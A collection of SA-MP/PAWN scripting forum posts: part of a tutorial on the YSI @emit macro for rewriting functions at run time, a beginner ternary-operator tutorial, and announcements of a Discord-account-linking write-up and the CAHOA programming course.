But it is still fundamentally the same as #emit in one important way - it is done at compile-time by the compiler.? Everything is inserted in to the AMX at a fixed location (bearing in mind that macros can change this location).

@emit

This is a macro, and purely a run-time operation.? The simplest way to see what it does is to remove the macro itself and look at the underlying function calls.? A context is created, which includes an address in the AMX, and instructions are written to that address one-by-one while the server is running.? This is a very easy way to write self-modifying code:

pawn Wrote:ReturnFive()

{

? ? // Wrong value!

? ? return 3;

}

public OnCodeInit()

{

? ? // Create the context.

? ? new context[AsmContext];

? ? // Initialise the context to point to a function.

? ? AsmInitPtr(context, _:addressof (ReturnFive<>), 4 * cellbytes);

This code creates a context, points it to the given function to rewrite it, and makes the buffer big enough to hold four cells.? Note that this code is in OnCodeInit, which is a special callback called before the mode starts, and before the JIT plugin compiles the mode.? All code rewriting must be done before JIT initialisation.? Note also that because OnCodeInit is called so early you can?t use most useful YSI features like hook and foreach - it too is generating its own code at this point.? We then rewrite the function at that address in assembly:

pawn Wrote:? ? // A function starts with `PROC`.

? ? AsmEmitProc(context);

? ? // Then load the correct return value in to `pri`.

? ? AsmEmitConstPri(context, 5);

? ? // And end the function.

? ? AsmEmitRetn(context);

? ? return 1;

}

@emit is just a clever macro that wraps all of these confusing function calls.? While they are fundamentally how code is rewritten at run-time, there?s a lot of boilerplate there that obscures what code is being generated.? So if we call the context ctx (this is important as it is hard-coded in to the macros).? The @emit macro is something like:

pawn Wrote:#define @emit%0%1 AsmEmit%0(ctx, %1);

It isn?t exactly that, because that?s not a valid macro, but it shows what is happening.? Thus the code becomes:

pawn Wrote:ReturnFive()

{

? ? // Wrong value!

? ? return 3;

}

public OnCodeInit()

{

? ? // Create the context.

? ? new ctx[AsmContext];

? ? // Initialise the context to point to a function.

? ? AsmInitPtr(ctx, _:addressof (ReturnFive<>), 4 * cellbytes);

? ? // A function starts with `PROC`.

? ? @emit PROC

? ? // Then load the correct return value in to `pri`.

? ? @emit CONST.pri 5

? ? // And end the function.

? ? @emit RETN

? ? return 1;

}

So if you see @emit look around for ctx and that?s where the instructions are being written to in memory.? You can also use labels, but if you want to use variables in the generated code, and not to generate the code, you need to explicitly get their address:

pawn Wrote:// return var ? 0 : 1;

@emit LOAD.S.pri ref(var)

@emit JZER.label failure

@emit CONST.pri 0

@emit RETN

@emit failure:

@emit CONST.pri 1

@emit RETN

Associating a Discord account with SA-MP account

Thu, 28 Jan 2021 19:04:41 +0000

Below is an excerpt from a Discord post to solve a common problem - it will benefit others with the necessary effort/attitude, so I'm sharing it here for posterity.

So, finished the write-up for the discord-samp linking stuff. It contains:
- Motivation for the problem
- Full description of the problem
- Solution of the problem (logic)
- Proof of solution of the problem
- Implementation directions

You should read it accompanied with all the contents of Appendix A of CAHOA if you haven't read that already.
Look forward to seeing some good engagement with it, and it becoming useful in encouraging a "think first, do later" mindset.

Link to the write-up: https://gist.github.com/lagoevia/c3d6f38...10f0de9dcb

Ternary Operator Basics

Wed, 20 Jan 2021 19:29:59 +0000

"Sorry for the bad English, I'm using the translator to do this tutorial."

- What is a ternary operator?

In various situations in programming we need to deal with various scenarios, through conditional structures, such as if, else and switch. However, in some situations we deal with wave situations there are only 2 possible returns.

For example, let's imagine a hypothetical situation, in which if the player is an administrator he wins $ 1500, otherwise he will win $ 500.

We can do this logic using the if and else operator:

PHP Code:
if (PlayerData[playerid][pAdmin] > 0)

{? ? ? ? ? 

? ? GivePlayerMoney(playerid, 1500);

} 

else

{

? ? GivePlayerMoney(playerid, 500);

}

Now notice that we are making a relatively long structure for a simple action, with only two possibilities. Is there no other way to write this code in a simpler way? Yes, there is, and that is what the ternary operator is for:

PHP Code:
GivePlayerMoney(playerid, (PlayerData[playerid][pAdmin] > 0 ? 1500 : 500)); 

Now we did the same action with just one line of code, however let's understand a little bit about how to build a ternary operator.

- How to build a ternary operator?

Building a ternary operator is simple, its own structure is self-explanatory.

PHP Code:
(condition ? value if true : value if false) 

To better understand, we can see that the '?' acts as an if and the ':' acts as the else.

- In what situations will I use the ternary operator?

This is a relative question, it depends a lot on the type of logic that you will build for your system, but as stated in the first question we will use the ternary operator for situations in which there are only 2 possibilities of return. Remembering that the ternary operator is not limited to returning only number values, but can also return strings and other options.

Example of a string with a ternary operator:

PHP Code:
SendClientMessage(playerid, -1, (playerData[playerid][pAdmin] > 0 ? "True" : "false")); 

- Problems with ternary operator

The main problem with the ternary operator is its structure, which because it is very compact, its structure can be difficult to read by programmers who are not used to it.

- End

This is my first personal authoring tutorial, i hope you like it and criticism will always be welcome!

CODE: A Hands-on Approach

Wed, 16 Dec 2020 02:01:48 +0000

Information

CODE: A Hands-on Approach (cahoa) is a project that aims to serve as a hands-on tutorial for teaching programming (via PAWN, and currently SA-MP). People of different skill levels/experience will benefit from this, but it is mainly targeted at beginners.

Details

You'll find the most up to date draft as a GitHub Gist here

I look forward to your responses and feedback!

Update

The Git Repository is live, and can be found?on GitHub

I'll update it over time, and give some progress updates here and on Discord.